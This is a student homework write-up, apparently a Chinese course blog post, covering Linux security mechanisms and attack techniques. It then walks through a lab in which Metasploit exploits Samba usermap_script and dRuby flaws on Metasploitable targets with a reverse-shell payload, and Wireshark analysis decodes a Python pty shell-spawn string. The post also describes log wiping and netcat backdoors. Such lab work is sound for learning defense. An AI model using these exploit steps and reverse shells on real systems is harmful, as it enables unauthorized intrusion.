20199109 2019-2020-2 《网络攻防实践》第八周作业

Linux操作系统安全攻防

总体结构

这个作业属于哪个课程 https://edu.cnblogs.com/campus/besti/19attackdefense
这个作业的要求在哪里 https://edu.cnblogs.com/campus/besti/19attackdefense/homework/10612
这个作业在哪个具体方面帮助我实现目标 学习Linux下的安全攻防技术
作业正文.. 见一和二

一、实践内容

(一)Linux操作系统基本框架概述

1、Linux系统结构

  • Linux操作系统内核结构图如下所示,包括硬件抽象层,其上是内核服务功能模块,这些模块通过系统调用接口向用户态提供服务

  • 内核服务模块包括进程管理、内存管理、文件系统、设备控制、网络五个子系统

    • 进程与线程管理机制:抢占式多用户多进程模式
    • 内存管理机制:允许多个进程安全地共享物理内存区域,支持虚拟内存
    • 文件系统管理机制:虚拟文件管理机制
    • 设备控制机制:处理硬件控制器的软件为设备驱动程序,其本质是特权的、驻留内存的低级的硬件控制例程的共享库
    • 网络机制:提供对各种网络标准的存取和各种网络硬件的支持
    • 系统调用机制:通过软中断实现

(二)Linux操作系统安全机制

1、Linux身份认证机制

  • Linux是一个多用户多任务的操作系统,通过创建多种角色类型的用户和用户组来进行用户身份管理,确保多个用户安全地使用Linux操作系统
    • 用户:执行进程完成特定操作任务的主体,包括Root根用户、普通用户和系统用户
    • 用户组:具有相同特征的用户账号集合。
    • 本地登录用户认证机制:对用户在控制台登录的认证过程
    • 远程登录用户认证机制:普遍使用SSH服务进行远程用户登录,有基于口令的身份认证和基于非对称密钥的身份认证
    • 统一身份认证中间件——PAM:提供一些动态链接库和一套统一的API,将系统提供的服务和该服务的认证方式分开。
      • PAM支持的四种管理界面:认证管理,账户管理,密码管理,会话管理。

2、Linux授权与访问控制机制

  • 所有文件与设备资源的访问控制都通过VFS虚拟文件系统实现
  • 虚拟文件系统安全模型中,主要通过文件所有者、文件访问权限和一些特殊权限位来进行系统授权和访问控制
    • 文件所有者:该文件属于哪个用户
    • 文件访问权限:通过附带的10个标志位进行设置
    • 文件的特殊执行权限:常见的SUID、SGID权限

3、Linux安全审计机制

  • 主要通过三个主要的日志子系统实现
    • 连接时间日志:系统管理员能跟踪谁在何时登录到系统
    • 进程统计日志:为系统中的基本服务提供命令使用统计
    • 错误日志记录:报告值得注意的事件

(三)Linux系统远程攻防技术

1、Linux远程口令字猜测攻击

  • 利用Linux系统上的finger、rusers和sendmail之类的服务列举出目标系统上的用户账户名,即可猜测相关口令
  • Linux系统上的HTTP/HTTPS、FTP等网络服务拥有自己的用户账户体系和身份认证机制,可通过远程口令猜测获得网络服务的访问权,从而获取系统的本地访问权。
  • 远程猜测口令工具常用的有Brutus、THC Hydra、Cain and Abel等。
  • 对于远程口令猜测攻击的最佳防御措施就是使用不易猜中的强口令字

2、Linux网络服务远程渗透攻击

  • 最重要的攻击渠道:对监听网络服务安全漏洞的渗透利用
  • 主要包括
    • Linux内核中的网络协议栈攻击
    • LAMP WEB网站中的网络服务攻击
    • FTP、Samba等文件共享服务攻击
    • 电子邮件收发服务攻击
    • 其他网络服务的攻击:如OpenSSH、Openssl、NFS等
  • 防范措施包括:
    • 禁用所有不必要的网络服务

    • 尽量选择更安全的网络协议与服务软件,并使用最佳安全实践进行部署

    • 及时更新网络服务版本

    • 使用xinetd、防火墙为Linux网络服务添加网络访问控制机制

    • 建立入侵检测与应急响应计划流程

3、攻击Linux客户端程序和用户

  • 攻击Linux平台的客户端程序
    • 常用web浏览器攻击和电子邮件客户端攻击
  • 攻击Linux系统用户
    • 对服务器管理员进行Google hacking获取管理员各方面信息
  • 防范措施
    • 及时更新软件
    • 提高自身抗欺骗能力
    • 在下载软件的时候通过官方下载渠道,并校验MD5

4、攻击Linux路由器和监听器

  • 攻击Linux路由器和防火墙
    • 路由器模式运行时,可能被攻击者利用实施拒绝服务攻击
  • 攻击监听器&入侵检测器
    • 开源软件主要包括libpcap抓包库、tcpdump命令行程序、wireshark、snort等
  • 针对路由器与监听器攻击的安全防范措施
    • 网络管理员建立一种安全对抗与博弈的意识
    • 意识到网络与安全设备的自身的安全性与可用性
    • 站在攻击者角度尝试进行渗透攻击测试

(四)Linux系统本地安全攻防技术

1、Linux本地特权提升

  • 最简单的就是能破解出Root用户口令然后执行su或sudo命令进行提升
    • 通过/etc/shadow文件中纪录的口令的hash值,获取口令的加密值,后通过已知密文暴力破解猜测明文。
  • 二是发掘并利用su或sudo程序中的安全漏洞
    • 可以通过一些方式绕过身份认证机制,或利用路径误配置使攻击者创建文件并执行。
  • 最流行的是攻击用户态SUID特权提升漏洞和攻击Linux内核代码特权提升漏洞。
    • 利用用户态SUID程序:主要包括利用程序漏洞进行特权提升、本地缓冲区溢出攻击、符号链接攻击、竞争条件攻击、共享函数库攻击等
  • 最后可以通过从系统中搜索全局可写的敏感文件与目录位置并加以利用
  • 本地特权提升的防范措施
    • 在安装软件时评估风险
    • 及时对服务器进行升级维护
    • 安全的配置系统,设置强口令字,
    • 应用SELinux等安全增强模块

2、Linux系统上的消踪灭迹

  • 攻击者在攻陷Linux系统后,通常不希望给系统管理员留下自己的入侵记录,因而往往会去清理系统上的日志目录,从而有效地抹除掉自己的行动踪迹。
  • 攻击者还需要清理的是自己在shell程序中所输入的命令历史记录,Linux系统中的很多shell程序都记录运行过的历史命令,以提供检索和重复执行命令的功能。

3、Linux系统远程控制后门程序

  • 主要类型有:
    • 特洛伊木马化的系统程序
    • 命令行后门工具:提供远程命令行shell的访问,通常是使用Netcat等后门工具在系统上运行,开放监听一个TCP端口,在接收到请求之后返回一个Linux系统shell与客户端进行交互。
    • 图形化后门工具:最为常用的是图形化远程控制免费软件VNC。

二、实践过程

实践一:使用Metaploit进行Linux远程渗透攻击

  • 使用Metaspolit作为渗透测试软件,攻击Linux靶机上的Samba服务usermap_script安全漏洞,获取Linux靶机的主机访问权限。

1)通过命令msfconsole启动渗透软件,搜索samba服务漏洞,通过use命令使用渗透攻击模块。

2)设置攻击的PAYLOAD为cmd/unix/reverse

3)设置渗透攻击参数,设置RHOST为靶机地址192.168.200.7,设置LHOST为攻击机地址192.168.200.3

4)通过run命令执行渗透攻击

5)成功

*PS:一开始看options里没有LHOST就没有设置,但是出现了错误。

实践二:攻防对抗实验:

攻击方使用Metasploit渗透软件针对Linux Metasploitable靶机实施网络攻击,防御方在Metasploitable上使用wireshark捕获攻击流

  • 攻击方:使用Metasploit选择Metasploitable靶机中发现的漏洞进行渗透攻击,获得远程控制权,并尝试进一步获得Root权限。
  • 防守方:使用wireshark监听获得网络攻击的数据包文件,并结合wireshark分析攻击过程,获得攻击者的IP地址,目标IP端口、攻击发起时间、攻击利用漏洞、使用shellcode,以及成功之后在本地执行命令输入等信息

1)使用nmap -sV 192.168.200.125扫描靶机,查看开放的端口,及端口上程序的版本

2)执行命令/etc/init.d/nessusd start启动 nessus,使用nessus扫描靶机的相关漏洞

3)在上述漏洞中选择dRuby漏洞作为我们的攻击漏洞,在msfconsole中使用use exploit/linux/misc/drb_remote_codeexec使用渗透攻击模块

4)通过指令set PAYLOAD cmd/unix/reverse设置攻击负载

5)设置RHOST和LHOST

6)通过run开启攻击

7)成功

8)同时我们打开wireshark,可以看到攻击方的IP地址为192.168.200.3,目标IP为192.168.200.125,端口为8787,攻击发起时间从第一个数据包开始,尝试连接靶机的8787端口

9)通过nmap查询可以看到,8787端口是druby服务的端口,因此这就是针对drb漏洞进行的攻击。

10)通过分析wireshark抓包结果,我们可以看到第一个shellcode中显示,第一次攻击失败,第二次才成功建立连接

11)我们接着往下看,因为drb漏洞是一个单向的漏洞,一个shell只能用于执行,另一个shell用于获取输出。因此这里攻击脚本通过执行echo eMZytn29fAsrQPBL命令确定建立的两个连接哪一个是执行窗口哪一个是输出窗口。接下来通过执行上文写入的.KGgKOh7rG1ebXEjJ进一步获取相关权限,执行成功之后进行痕迹清理

12)对脚本内的编码之后的字符串aW1wb3J0IHB0eTtwdHkuc3Bhd24oJy9iaW4vc2gnKQ==进行base64解码,就能得到import pty;pty.spawn('/bin/sh'),可以看到这里是通过借用python的权限弹出具有高权限的窗口。接下来就是明文传输的指令id如上图所示。

三、遇到的问题和总结

想试试15年以后的linux漏洞,比如在metasploit中,search samba的漏洞,有17年的漏洞is_known_pipename,但不能进行正常渗透。
整体和上次实验比较像,整个过程还算顺利。

四、参考资料

http://www.secist.com/archives/1525.html
https://blog.csdn.net/Birldlee/article/details/78914506

猜你喜欢

转载自www.cnblogs.com/hyyoooh/p/12733127.html